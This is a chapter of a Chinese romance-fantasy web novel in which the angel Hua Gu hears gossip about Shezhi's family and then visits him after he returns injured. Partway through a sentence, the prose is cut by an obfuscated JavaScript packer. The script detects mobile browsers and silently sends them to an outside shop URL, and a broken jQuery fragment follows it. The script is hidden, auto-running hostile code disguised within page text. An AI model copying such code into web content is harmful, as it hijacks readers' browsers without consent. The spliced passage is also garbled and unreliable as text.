文趣网 > 其他小说 > 天使老婆不装了 > 5. 5
    走出门,花故才问着陈大卫道:“蛇脊回来了?”

    陈大卫看着花故,像是第一次见似的上下左右全打量了一遍:“你真是蛇脊的天使?”

    花故翻了个白眼:“我是天使,没人对我有所有权。”

    陈大卫下意识抖了个寒颤:“乖乖,天使还能拿着刀捅人家脖子上。”

    花故又翻了个白眼:“我是天使,不是圣母,不以德报怨。”

    陈大卫看了她一眼,小声嘟囔:“天使不都是温柔体贴吗。”

    花故扯了扯嘴角,皮笑肉不笑的:“我不,我心眼很小,所以,别惹我。”

    陈大卫自觉地拉开了和花故的距离:“谁还敢啊姑奶奶。”

    花故懒得理他,边走边说:“所以蛇脊回来了吗?”

    陈大卫摇头:“没呢,他得明天才能回来。”

    花故了然。重新走回蛇脊的花房,阮茹还在那等着,看到花故,眼眶唰一下就红了。

    “太好太好了,您没事……”小姑娘的声音都带上了哭腔。

    花故摸摸她的脑袋,笑眯眯道:“我都说了我更会欺负人。”

    陈大卫虽然听不懂她们在说什么,但听到这句,还是默默点了个头。

    花故坐会她的老位置,顺手摘了朵花儿,开始捣鼓。

    陈大卫本来都平复得差不多了,见此下巴再次拉得老长:“你你你你……”

    他急冲冲跑上前来,看着花故拿着花,毫不犹豫地捣碎,吓得说话都不利索:“你知道这是什么花吗?!”

    花故抬眸轻飘飘看了他一眼,没有回答。

    倒是花匠和阮茹,见怪不怪地安慰道:“没事的,小姐摘的花,明天就长出来了。”

    陈大卫捂着胸口撑在一旁的支撑架上,感觉这里的人都疯了。

    然后转念一想,也是,这女人是天使,说不定真有这本事,于是乎深吸口气深呼口气,坦然接受了这个事实。

    反正又不是他摘的花,更何况——他眼珠子一转,凑上前:“能不能给我一朵?”

    他的实验需要以花入药,说不定贵的药效会好点。

    他之前是没敢找蛇脊开这个口,但是现在嘛,不要白不要啊!

    花故眯眼笑了笑,摊开手掌:“付钱。”

    陈大卫一拍桌子:“你也没付钱嘛!”

    花故扫了他一眼,捞起差点被他拍到地上的花,摘下一片花瓣,在他眼前晃了晃:“我为什么要付钱?”

    “蛇脊是我的,所以,他的东西也都是我的。”

    陈大卫看着她那副坦然的样子,花啊什么的也都顾不上了,直勾勾地盯着花故,像要把她脸上盯出个花来:“什么你的他的,蛇脊和你在一起了?”

    花故抬了抬眼皮,嗯了一声。

    陈大卫乐极:“乖乖,我以为蛇脊要孤独终老了,没想到临了临了,还给他谈上恋爱了?”

    恋爱吗?花故看了看手里的话,她并不是很赞成将这个关系定义成恋爱,因为她只需要情人,她不爱他。

    不过,凡人的生命也就那么短暂一瞬,想怎么说就怎么说吧。

    想到此,花故轻轻笑道:“那他以前怎么没谈上恋爱,是有什么方面的……缺陷吗?”

    陈大卫挑眉:“蛇脊这人,眼光高的很。以前追他的人很多,各种世家大小姐,还有公主,都想跟他在一起,但那时蛇脊都没答应。”

    “后来……后来就没怎么人找了,蛇脊也没心思在这方面了。”

    花故疑惑:“生病之后吗?”

    陈大卫不置可否:“算是吧。”

    花故感觉陈大卫说的模棱两可,似乎有些不对劲。念此,她追问道:“蛇脊为什么会生病?”

    陈大卫耸耸肩:“不知道,这个事是个秘密。”

    花故看他的样子,像是真的不清楚此事,也没再追问。不过她想到了另一件事:“蛇脊,和他家里人的关系,不太好?”

    陈大卫听此,拍拍大腿,凑近了,神秘兮兮道:“问这个,你就问到了周家的豪门秘辛。”

    花故停下了手里的动作,淡定地看他发挥。

    陈大卫摆摆手:“很不好,非常不好。”

    “具体怎么样的我们这些外人也不是很清楚,之前还挺好的,蛇脊还是准继承人,跟他爸关系也不错,他爸指哪打哪的。”

    “但突然有一天,传来蛇脊妈妈的死讯,蛇脊的身体状况也急转直下,甚至,直接预知了死期。”陈大卫叹口气,“周澈变成了周家继承人,估计恨不得蛇脊赶快死,他爸也一直在提防着蛇脊,他们的关系也就越来越差。”

    花故摩挲着自己的下巴:“蛇脊妈妈……死了?”

    陈大卫突然左看右看,更凑近些,小声道:“是啊,走得非常突然。你别说,肯定跟周重鸿那老头脱不开干系,就蛇脊他爸。”

    花故眯了眯眼:“周澈不是和蛇脊一个妈生的吧。”

    陈大卫竖了个大拇指:“聪明,周澈和蛇脊同父异母,他妈妈是谁,至今没人知道,估计是见不得台面的小三罢了。”

    花故了然,多么经典的豪门争家产的戏码,古往今来她听的见的也都不少,不奇怪。

    不过,蛇脊母亲离世,蛇脊生病,蛇脊父亲割席,蛇脊弟弟上位,明面上如此清晰的逻辑链,背后应该还隐藏着不一样的故事。

    但花故暂时还没有兴趣去了解。

    她无意识地揪了片花瓣,放在指尖捻了捻,她只想知道,她的神识在哪。找到神识,看戏也轻松些。

    “对了,”陈大卫一拍脑袋,才想起什么似的,“明天就是蛇脊的生日,每年的这时,周家那群人,就会给蛇脊办个非常盛大的生日会,各界名流都会到场。”

    花故挑眉:“明天?”

    “那蛇脊还往外跑,不回来准备准备?”

    陈大卫叹口气,苦笑道:“蛇脊不喜欢生日。所以每年的生日前,都会离开一段时间。”

    花故歪了歪头:“为什么,因为是他讨厌的爸爸和弟弟参与组织的生日会?”

    陈大卫摇摇头,眸色深深:“因为蛇脊的生日,就是他出事的时候,也是,他母亲的忌日。”

    哇哦,花故张了张嘴,想说什么,却没发出声。

    还是个小可怜呢。花故突然就对那个苍白的男人多出几分怜爱。

    *

    花故想见见蛇脊,但一直等到深夜,蛇脊都没有回来,花故熬不住,先睡下了。

    半夜,走廊的嘈杂声把她吵醒。

    花故随意披了条丝巾,走出房门,只见走廊上灯火通明,来来往往都是人。

    蛇脊回来了。

    花故走到蛇脊房门口,房门半掩着,一群人围在床前,挡着看不见蛇脊。

    肩膀突然被撞了一下,花故皱眉,只见断魄从身后走出,侧头睨了自己一眼。

    冰冷异常的目光,好像在看什么仇人。

    花故很反感他这般莫名其妙的敌意,直接推门上前,却先被床上的蛇脊吸引住了目光。

    他穿着黑色的睡衣,衬得皮肤更加苍白,靠坐在床上,头低低垂着,周身冰冷的,好似没有一点活人气息。

    空气中蓄着浓浓的消毒水味,但还是若隐若现的沾着些血腥的甜腻。

    四周围着的人看向花故。他们穿着和断魄差不多的衣服,估计都是蛇脊的下属。除了床头的陈大卫,这些下属看着花故的目光,都带着些仇视。

    莫名其妙,花故顶着这样一群如狼似虎的目光,平静地走到床边,问着陈大卫道:“他怎么了?”

    陈大卫刚想开口,却被一旁断魄的冷嘲打断。

    而断魄想开口,却被低哑的一声打断:“你来了。”

    蛇脊抬起头,没有一点血色的嘴唇,扬起一

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17842760|211680||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    个小小的弧度。

    他的双眸有些失焦,黑沉沉的,却还是努力辨别着花故的方向。

    花故坐到他的床边,平视着他。

    离得近了,血腥味更加浓烈,虽然蛇脊穿着黑色的衣服,也能看出,洇出来的湿痕。

    花故蹙眉。

    蛇脊将手从被子里伸出,递给花故一个首饰盒:“给你带了点礼物,希望你喜欢。”

    许是虚弱的身子供不得他说这么多话,讲完这句,蛇脊剧烈地咳嗽起来,两边的人担忧地要上前,蛇脊抬手制止,静静地注视着花故打开首饰盒。

    首饰盒上还带着一点余温。花故轻轻打开,只见里面是一条钻石手链,主石是浓郁的蓝宝石,即使室内灯光昏暗,宝石的切割面依然能晃出闪耀的光。

    虽然花故见过很多的珍宝,但还是对闪闪发光的东西无法拒绝,因此她眼睛里透出的欣喜不是假象。

    花故取出手链,嘴角和眼角都往上翘着:“好漂亮。”

    蛇脊看着她眉目舒展的样子,也轻轻笑着:“喜欢就好。”

    花故把手链戴在自己腕上,雪白的腕,衬得钻石更加的璀璨。

    “所以,”她看向蛇脊,明明这么虚弱了,还想着给她送礼物,内心深处多少是有些触动的。她浅浅扫了眼他可能的伤处,“你怎么了,为什么会受伤?”

    蛇脊把手伸回被子,移开了视线,仔细看时,能看出他极力克制着眉心不要攥起,似乎在忍着什么。他轻声道:“没事,你先回去休息吧。”

    花故抬头看了一圈,众人眼底的担忧都快溢出来了。

    但蛇脊明显在自己面前逞强。算了,待在这里估计也是耽误治疗,花故想了想,准备起身离开。

    不过——

    她又坐回去,看着蛇脊道:“听说明天…不对,今天,是你的生日?”

    蛇脊皱起眉,抬眸看她,又扫了眼陈大卫,陈大卫心虚地笑了笑。

    花故凑近了些,让自己更大地占据蛇脊的视线:“虽然不知道你发生了什么,不过,人类的生命很短暂的,还是要多珍惜当下,多往前看。”

    蛇脊笑了笑,与天使相比,人的寿命不过沧海一粟,那点执念,在时间的洪流中连丝尘土都算不上。

    所以她才会悲悯地劝自己放下执念。许是如此,神明也才能高高在上的,普度众生。

    蛇脊的心拧紧般绞痛,却笑得愈盛,温柔地注视着花故。

    花故同样温柔地看着他,轻轻地,在他冰冷的额上落下一吻:“生日快乐。”

    她笑了笑,起身离开。

    蛇脊看着她转身离去,嘴角越来越低,直至抿成尖锐的直线。

    天使的圣洁,对他来说,是一种残忍啊。

    转身的花故,刹那间收住了笑,眉头蹙起。

    这屋子里,氤氲着,好重的恶意。

    但她神识有失,暂时辨不清恶意来自何方。

    算了。

    她现在当放假呢,还不想承担这些。

    从口袋里摸出一个小瓷瓶,递给旁边杵得跟冰冷的棍似的断魄:“把这个药,涂在蛇脊伤处。”

    断魄警惕地看着花故,攥着瓷瓶的手咯吱作响,大有将瓷瓶捏爆的气势。

    花故冷笑:“爱用不用。”

    随后飘飘然离开了蛇脊的房间。

    睡不着了,搭搭明天生日会的衣服吧。花故伸了个懒腰,朝自己衣帽间走去。

    虽然就来了两天,但蛇脊给她的黑卡,可没落灰,两天时间,空空如也的衣帽间就堆满绫罗绸缎,珠宝美衣。

    人类有句话,她还挺喜欢。

    人生如戏。

    蛇脊的生日会,可不就是一出好戏。

    虚伪的弟,偏心的爹,孤独的他,破碎的家。

    花故忍不住啧啧一声。

    她得穿的好看点,也来演一演。